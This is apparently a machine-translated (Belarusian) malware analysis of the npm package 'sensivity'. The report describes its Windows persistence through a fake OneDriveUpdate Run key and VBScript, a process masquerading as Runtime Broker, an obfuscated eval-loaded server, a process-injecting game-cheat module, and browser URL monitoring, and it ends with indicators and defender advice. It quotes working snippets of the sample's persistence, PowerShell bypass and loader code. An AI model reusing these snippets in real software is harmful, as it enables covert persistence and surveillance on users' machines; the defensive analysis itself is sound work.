TL, д-р
Пакет npm адчувальнасць апісвае сябе як «Панэль кіравання адчувальнасцю». У Windows яна паводзіць сябе як інструмент дыстанцыйнага кіравання і назірання.
Яго кропка ўваходу, launcher.js, перайменоўвае свой уласны працэс у Runtime Broker, запісвае значэнне ключа аўтазапуску з імем OneDriveUpdate які перазапускае пакет праз схаваны VBScript, стварае PowerShell з -ExecutionPolicy Bypass, а затым ацэньвае абфускаваную карысную нагрузку сервера памерам 171 КБ разам з уласным модулем памерам 6.87 МБ, sens.node.
Ён абслугоўвае панэль кіравання спалучэннем тэлефонаў на TCP-порту 3000 і зчытвае URL-адрас актыўнага браўзера праз Windows UIAutomation, адсочваючы адно жорстка закадаванае відэа з YouTube.
Дзве часткі, якія раней лічыліся чорнымі скрынкамі, цяпер вырашаны. Заблытаны сервер, server.obf.js, выкарыстоўвае схему радкоў-масіваў obfuscator.io RC4; перарэалізацыя яго дэкодэра ў аўтаномным рэжыме (без выканання JavaScript) аднаўляе адну знешнюю канчатковую кропку — https://izopi.com/check.php — разам з убудаваным адкрытым ключом RSA, які выкарыстоўваецца для праверкі падпісаных ліцэнзійных адказаў.
Родны модуль, sens.node, не спакаваны: яго табліца імпарту і ўбудаваныя радкі ідэнтыфікуюць яго як гульнявое аверлей DirectX 11 / Dear ImGui, які забяспечвае функцыі aimbot, ESP (wall-hack) і triggerbot, якія кіруюцца ін'екцыяй дыстанцыйных працэсаў і чытаннем/запісам у памяць.
Радкі ўнутры яго спасылаюцца на аб'екты транспартных сродкаў і месцазнаходжанне на карце ў адпаведнасці з GTA V / FiveM. Пакет npm — гэта абгортка дастаўкі і захавання вакол гэтага натыўнага модуля.
Вызначальным сігналам з'яўляецца аперацыйны, а не тэхнічны: адзін ананімны выдавец выпусціў прыкладна семдзесят версій аднаго пакета — 2.5.0 праз 2.5.69 — на працягу некалькіх дзён, кожны з якіх нёс адну і тую ж пускавую ўстаноўку.
Няма ўсталёвак hooksКарысная нагрузка запускаецца толькі тады, калі пакет запушчаны.
Атака: як гэта працуе
sensivity пастаўляе дзесяць файлаў. Файл package.json разрэджаны: няма поля рэпазітара, няма ліцэнзіі, ёсць асноўны і два псеўданімы bin (sensivity, sens), якія паказваюць на launcher.js, і стартавы скрыпт node launcher.js. Няма ніякіх перадусталёўак або пастоўсталёўак. Нічога не запускаецца пры ўсталёўцы npm. Паводзіны, апісаныя ніжэй, выконваюцца, калі карыстальнік запускае пакет — праз bin shim, стартавы скрыпт або require.
Тарбол змяшчае праграму запуску, абфускаваны сервер, натыўны модуль, скрыпт Visual Basic і каталог public/web для панэлі кіравання. launcher.js — гэта чытэльны аркестратар; логіка, якая мае значэнне падчас выканання, знаходзіцца ў двух блобах, якія ён загружае — абфускаваным серверы і скампіляваным натыўным модулі, абодва вырашаны ніжэй.
Маскіроўка працэсаў і падроблены абнаўляльнік OneDrive
На пачатку выканання launcher.js двойчы ўстанаўлівае назву свайго працэсу:
javascript process.title = 'Runtime Broker'; Runtime Broker — гэта легітымны працэс Windows (RuntimeBroker.exe), які перадае дазволы праграм. Перайменаванне працэсу Node ў адпаведнасці з ім азначае, што хуткі позірк у дыспетчар задач не паказвае нічога незвычайнага.
Персістенцыя напісана праз PowerShell, а не праз API непасрэднага рэестра:
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); Значэнне аўтазапуску называецца OneDriveUpdate і не паказвае непасрэдна на пакет. Яно паказвае на wscript.exe, які запускае ўбудаваны OneDrive.Standalone.Updater.vbs. Гэты скрыпт перазапускае node launcher.js у схаваным акне. І назва ключа запуску, і назва файла VBScript запазычваюць брэндынг Microsoft, таму запіс аўтазапуску чытаецца як звычайная задача OneDrive.
PowerShell з абыходам палітыкі выканання
Праграма запуску пастаянна звяртаецца да PowerShell. Сканеры пазначаюць як крытычна важныя моманты запуску згенераванага файла .ps1 з адключанай палітыкай выканання:
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); Абыход ExecutionPolicy выдаляе лакальную праверку подпісу скрыптоў для гэтага выкліку. Згенераваныя скрыпты апрацоўваюць працу па назіранні за браўзерам і выяўленні вокнаў, апісаную ў наступным раздзеле.
Заблытаны сервер і натыўны модуль
Пасля ўсталёўкі launcher.js загружае і выконвае сваю рэальную карысную нагрузку:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8')); server.obf.js — гэта 171 КБ абфускацыі _0x-array — шаблону JavaScript, дзе кожны радок і ідэнтыфікатар замяняюцца індэксам у перамешаным масіве, а затым выдаляюцца спасылкі падчас выканання. Схема — гэта варыянт RC4, створаны obfuscator.io: адна функцыя дэкодэра дэкадуе запіс масіва па base64, а затым расшыфруе яго па RC4 з дапамогай ключа для кожнага выкліку. Перарэалізацыя гэтага дэкодэра ў асобным скрыпце — запуск толькі перарэалізацыі над здабытым масівам радкоў з 821 запісам, а не ўласнага JavaScript пакета — чыста раскручвае яго. Тое, што выглядае сціпла, але...cisive: адзін знешні URL-адрас, https://izopi.com/check.php`, прызначаны канстанце LICENSE_URL; убудаваны RSA PUBLIC_KEY_PEM`; лакальная панэль перанакіроўвае /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off і /trigger/status; і радкі child_process, crypto і [Sensivity] sens.node loaded — апошні з іх — гэта той самы радок журнала, які праграма запуску перапісвае ў program module loaded. Канчатковая кропка — гэта праверка ліцэнзіі: кліент адпраўляе ідэнтыфікатар (заблытаны сервер фарматуе радок Discord ID: %s), а ключ RSA правярае падпісаны адказ сервера.
sens.node — гэта скампіляваны натыўны дадатак памерам 6.87 МБ, які не ўпакаваны — энтрапія раздзелаў знаходзіцца на ўзроўні 5.6–6.6, а табліцы імпарту і экспарту PE засталіся цэлымі, таму яго магчымасці можна чытаць непасрэдна. Ён экспартуе napi_register_module_v1, standard Кропка ўваходу Node N-API, таму сервер, які ацэньваецца, загружае яе з простым require. Яго табліца імпарту — гэта tell. З KERNEL32 ён атрымлівае OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules і Process32First/NextW — кананічны набор для вызначэння месцазнаходжання іншага працэсу, выдзялення памяці ўнутры яго і чытання або запісу гэтай памяці. З USER32 ён атрымлівае GetAsyncKeyState, GetKeyState, mouse_event і SetCursorPos; ён звязвае d3d11.dll, D3DCOMPILER_43 і dwmapi для экраннага накладання, а таксама поўны набор WINHTTP для сеткавых выклікаў. Убудаваныя радкі называюць набор функцый без двухсэнсоўнасці: Enable Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detected і банер Dear ImGui Dear ImGui 1.91.3 WIP. Радкі месцазнаходжання і сутнасці, такія як Grapeseed Medical Clinic і слоўнік vehicle-ESP, адпавядаюць GTA V / FiveM.
Падзел наўмысны: чытэльны launcher.js змяшчае толькі тыя часткі, якія сканер лёгка счытвае — persistence, maskarade, сам выклік eval — у той час як абфускацыя хавае адзін знешні хост, з якім звязваецца асяроддзе выканання, а бінарны файл змяшчае логіку гульнявога накладання і ўвядзення працэсаў. Лаўнчар — гэта тонкая, аўдытаваная абалонка; абфускаваны сервер хавае сеткавую ідэнтыфікацыю; уласны модуль — гэта карысная нагрузка. Мы апісваем імпарт і радкі бінарнага файла як прачытаныя; мы не робім высновы пра мэту аператара з іх.
Панэль кіравання спалучэннем тэлефонаў на порце 3000
Праграма запуску кіруе лакальным вэб-серверам на TCP-порту 3000 і апрацоўвае яго як сінглтон. Яна запытвае існуючы слухач і ачышчае яго перад прывязкай:
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); Панэль даступная па адрасе http://localhost:3000 з жорстка закадаваным рэзервовым URL-адрасам лакальнай сеткі http://192.168.1.16:3000. Каталог public/ і паводзіны панэлі адпавядаюць працэсу спалучэння QR-кодаў: тэлефон скануе код і падключаецца да хаста як выдалены. Знешні дамен кіравання камандамі і кіравання не адлюстроўваецца ў адкрытым выглядзе ў панэлі запуску, але, як паказвае дэабфускацыя вышэй, ён прысутнічае на абфускаваным серверы: канцавая кропка ліцэнзіі izopi.com. Сама панэль лакальная і мае лакальны доступ да лакальнай сеткі; адзіным выходным хастом з'яўляецца гэтая праверка ліцэнзіі.
Асобная мадэль супервізара/працоўніка падтрымлівае працу працэсу. Лаўнчар перазапускаецца са сцягамі асяроддзя SENSIVITY_SUPERVISOR і SENSIVITY_WORKER, прычым кожны даччыны працэс працуе схавана, таму пасля завяршэння аднаго працэсу вартавы механізм павінен яго перазапусціць.
Сачэнне за браўзерам і сігнал YouTube
Найбольш спецыфічная паводзіна — гэта маніторынг браўзера. launcher.js стварае PowerShell, які прымушае Windows UIAutomation зчытваць адрасны радок запушчанага браўзера:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', ValuePattern вяртае тэкставы змест элемента карыстальніцкага інтэрфейсу. Ужыты да элемента рэдагавання ў адрасным радку браўзера, ён вяртае URL-адрас, які праглядае ахвяра — без пашырэння браўзера, без дакранання да профілю на дыску і без перахопу API. Згенераваны скрыпт выконвае ітэрыю спісу $browserNames і здабывае URL-адрас або загаловак акна таго браўзера, які знаходзіцца на пярэднім плане.
Гэты URL-адрас правяраецца ў дачыненні да адной жорстка закадаванай мэты:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; Праграма запуску апытвае акно браўзера, якое паказвае YouTube, у трохсекундным цыкле, і згенераваны PowerShell змяшчае пару Get-YouTubeBrowser / Test-TargetYouTubeUrl, якая адпавядае гэтаму ідэнтыфікатару відэа. Назіраны эфект двайны: актыўны URL-адрас прагляду зчытваецца з экрана ахвяры, і выяўляецца ўзаемадзеянне хаста з адным канкрэтным відэа YouTube. Мы апісваем механізм і мэту; мы не робім высноў пра матыў з іх.
Зчытванне адраснага радка — гэта тое, што сканер пазначае як sensitive_data_enumeration — крыніца Process::env і UIAutomation, якая забяспечвае сеткавае асяроддзе выканання. Сама па сабе яна выглядае бяскрыўднай і пераходзіць у назіранне толькі пасля таго, як жыццёвы цыкл дадзеных будзе прасочаны ад крыніцы UIAutomation да абфускаванага сервера.
Храналогія і эвалюцыя версій
Адчувальнасць — гэта не аднаразовая загрузка. Уліковы запіс выдаўца апублікаваў прыкладна семдзесят версій гэтага адзінага пакета, і новыя працягвалі паступаць падчас перыяду агляду. Лаўнчарная праграма пашыраецца функцыя за функцыяй на працягу ўсёй версіі 2.5.x, у той час як яе ўстойлівасць і карысная нагрузка застаюцца нязменнымі.
| Дата (UTC) | Назіраныя версіі | Стан праграмы запуску |
|---|---|---|
| 2026-06-02 | 2.5.8 - 2.5.46 (25) | Базавы пускавы модуль QR-панэлі; захаванне клавішы запуску; ацэнка заблытанага сервера. |
| 2026-06-03 | 2.5.53 - 2.5.61 (6) | Той жа адбітак пальца; падаўленне слядоў кансолі. |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | Дадае замацаваную мэту ўзаемадзеяння на YouTube wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 - 2.5.69 (24) | Перавыданне для запаўнення прабелаў па ўсім дыяпазоне; кіраўнік/кантрольны орган работнікаў. |
Аналіз праграмы запуску для загружаных прадстаўнікоў — 2.5.0, 2.5.36 і 2.5.69 — паказвае чатыры ўзроўні. У самых ранніх зборках ёсць базавы лаунчер з падтрымкай QR-кодаў. Пачынаючы з версіі 2.5.33, з'яўляецца зборшчык адрасоў UIAutomation. Пачынаючы з версіі 2.5.58, дадаецца ўзровень кіравання супервайзерам. Пачынаючы з версіі 2.5.64, дапаўняе набор асобны кантрольны таймер супервізара/працоўніка. На працягу ўсяго працэсу чатыры рэчы застаюцца нязменнымі: ключ OneDriveUpdate Run, сродак запаўнення OneDrive.Standalone.Updater.vbs, ацэнены файл server.obf.js і ўбудаваны модуль sens.node.
Хваля 2026-06-05 характэрная тым, што ў яе выніку былі перавыдадзеныя версіі з нізкімі нумарамі — ад 2.5.0 да 2.5.15 — якія знаходзяцца ніжэй за версіі, пацверджаныя некалькі дзён таму. У выніку ў рэестры з'явіўся сумежны радок 2.5.x, прычым кожная версія мела адну і тую ж праграму запуску.
Паказчыкі кампрамісу
Усе паказаныя ніжэй індыкатары былі прачытаны непасрэдна з tar-архіва пакета. Чытаемы лаунчер мае толькі пятлю зваротнай сувязі і адзін прыватны адрас лакальнай сеткі; адно знешняе імя хаста, izopi.com, было адноўлена шляхам дэабфускацыі server.obf.js у аўтаномным рэжыме.
| тып | індыкатар | нататкі |
|---|---|---|
| пакет | npm:sensivity (≈70 версій, 2.5.0-2.5.69) | Выдавец аднаго пакета; без рэпазітара; без ліцэнзіі. |
| Размовы | launcher.js | Чытальны аркестратар; галоўны і кантэйнерны прыцэл. |
| Размовы | server.obf.js (≈171 КБ) | Карысная нагрузка радковага масіва obfuscator.io RC4, загружаная праз eval(fs.readFileSync(...)). |
| Размовы | sens.node (≈6.87 МБ) | Дадатак PE32+ x86-64 Node N-API; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| Размовы | OneDrive.Standalone.Updater.vbs | Схаваны перазапуск (node launcher.js). |
| сетка | https://izopi.com/check.php | Канчатковая кропка ліцэнзіі/аўтэнтыфікацыі атрымана з абфускаванага сервера; убудаваны адкрыты ключ RSA правярае адказы. |
| Магчымасці | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | Увядзенне ў працэсы дыстанцыйна і магчымасць чытання/запісу ў памяць. |
| Магчымасці | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | Гульнявое афармленне DirectX 11 / ImGui, якое рэалізуе функцыі aimbot, ESP і triggerbot. |
| рэестр | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | Значэнне аўтазапуску, якое паказвае на wscript.exe і праграму запуску VBScript. |
| Працэс | process.title = 'Runtime Broker' | Маскіруецца пад законны працэс Windows Runtime Broker. |
| Паводніцкія | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | Абыход палітыкі выканання, які выкарыстоўваецца для згенераваных скрыптоў PowerShell. |
| Паводніцкія | UIAutomation ValuePattern чытанне адраснага радка браўзера | Зчытвае URL-адрас акна браўзера на пярэднім плане. |
| Паводніцкія | Ідэнтыфікатар мэтавага відэа wJWta2lO0Lw3-секунднае апытанне на YouTube | Замацаваны сігнал маніторынгу ўзаемадзеяння. |
| сетка | http://localhost:3000, рэзервовы варыянт http://192.168.1.16:3000 | Панэль кіравання QR-спалучэннем даступная лакальна і па лакальнай сетцы. |
| Environment | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | Сцяжкі каардынацыі працэсаў асобнага вартаўніка. |
Атрыбуцыя, уплыў і абаронцы
Пакет апублікаваны адным акаўнтам npm, пазначаны адрас электроннай пошты якога з'яўляецца неправераным адрасам Gmail. Уліковы запіс мае вельмі негатыўную рэпутацыю ў рэестры, падтрымлівае і публікуе толькі гэты адзін пакет і не мае звязанага з ім рэпазітара зыходнага кода. Мы не пацвердзілі ўласнасць электроннай пошты і прыпісваем кампанію акаўнту выдаўца, а не якой-небудзь названай асобе. Лаўнчар не мае інфраструктуры адкрытага тэксту, але адзін знешні хост цяпер вядомы: заблытаны сервер звязваецца з izopi.com для праверкі ліцэнзіі, а ўласны модуль — які зчытваецца з табліцы імпарту і радкоў, а не ў адваротным парадку інструкцыя за інструкцыяй — гэта гульнявое накладанне, якое ўводзіць код у памяць іншага працэсу і зчытвае яго.
Бачны ўплыў адчуваюць карыстальнікі Windows, якія ўсталёўваюць і запускаюць sensivity, чакаючы ўтыліты панэлі кіравання. На гэтых хостах пакет усталёўвае аўтазапуск persistent, замаскіраваны пад задачу OneDrive, перайменоўвае сябе, каб імітаваць сістэмны працэс, зчытвае URL-адрас таго, што праглядае карыстальнік, і стварае панэль спалучэння, якая прывязвае машыну да выдаленага сервера праз лакальную сетку. Кантролер супервізара/працоўніка азначае, што адно завяршэнне працэсу не выдаляе яго; запіс Run-key захоўваецца пасля перазагрузкі. macOS і Linux не кіруюцца запускам — шляхі persistent, PowerShell і UIAutomation даступныя толькі для Windows.
Варта адзначыць тэндэнцыю з'яўлення сямідзесяці версій. Перавыданне аднаго пакета дзясяткі разоў на працягу некалькіх дзён, у тым ліку даданне нумароў версій пад нумары тых, што ўжо былі выдаленыя, захоўвае жывую копію ў рэестры паміж выдаленнямі і перашкаджае працы з блакіроўкай версій. Запіс у блакіроўцы для sensivity@2.5.61 ніяк не ўплывае на sensivity@2.5.3, перавыданую на наступны дзень.
Абаронцы могуць дзейнічаць па наступных прычынах:
- Блакуйце канфідэнцыйнасць назвы пакета ў спісах белых спісаў рэестра-проксі і неканфігураванай інтэграцыі. Замацаванне асобных версій губляе частату перавыдання; назва з'яўляецца паказчыкам трываласці.
- Знайдзіце значэнне Run з імем OneDriveUpdate, даныя якога выклікаюць wscript.exe для .vbs у шляху для кожнага карыстальніка. Сапраўдны абнаўляльнік OneDrive не зарэгістраваны такім чынам.
- Папярэджанне аб працэсе Node.js, process.title якога — Runtime Broker. Сапраўдным брокерам з'яўляецца RuntimeBroker.exe, а не асяроддзе выканання Node.
- Пазначаць npm падчас усталёўкі пакеты, якія дастаўляюць скампіляванае дапаўненне .node плюс eval(fs.readFileSync(…)) для аднаго з файлаў .obf.js. Гэта спалучэнне — непразрысты натыўны двайковы файл, загружаны побач з абфускаваным тэкставым карысным змесцівам — з'яўляецца структурным сігналам, незалежным ад любога радковага ўводу-вываду.
- Разглядаць любы лакальна звязаны слухач на порце 3000, створаны нечаканым працэсам Node, як падазроны на кіраваных канчатковых кропках Windows.
- Блакіраваць або папярэджваць аб выходных запытах да izopi.com ад распрацоўшчыкаў або канчатковых карыстальнікаў; гэта адзіная знешняя кропка пакета, дасягальная па адрасе /check.php з абфускаванага сервера.
- Для любога ўбудаванага дапаўнення .node праверце яго табліцу імпарту, перш чым давяраць яму. Камбінацыя OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread з'яўляецца ін'екцыяй у аддалены працэс, незалежна ад таго, што абяцае рабіць пакет; тут яна знаходзіцца побач з накладкай Direct3D і радкамі aimbot/ESP/triggerbot.
Для статычнага аналізу pipelineТакім чынам, форма пераканання ўстойлівая на працягу ўсёй змены версій: профіль усталёўкі без сеткі, прысваенне назвы працэсу вядомай назве сістэмнага працэсу, запіс з дапамогай клавішы запуску праз PowerShell і ацэнка файла, прачытанага з дыска. Нішто з гэтага не залежыць ад дамена, IP-адраса або нумара версіі, якія можна змяніць пры наступнай перавыданні.
Спасылкі
[npm: адчувальнасць] – старонка рэестра для радка версіі пакета, які абмяркоўваецца тут; падлягае выдаленню.





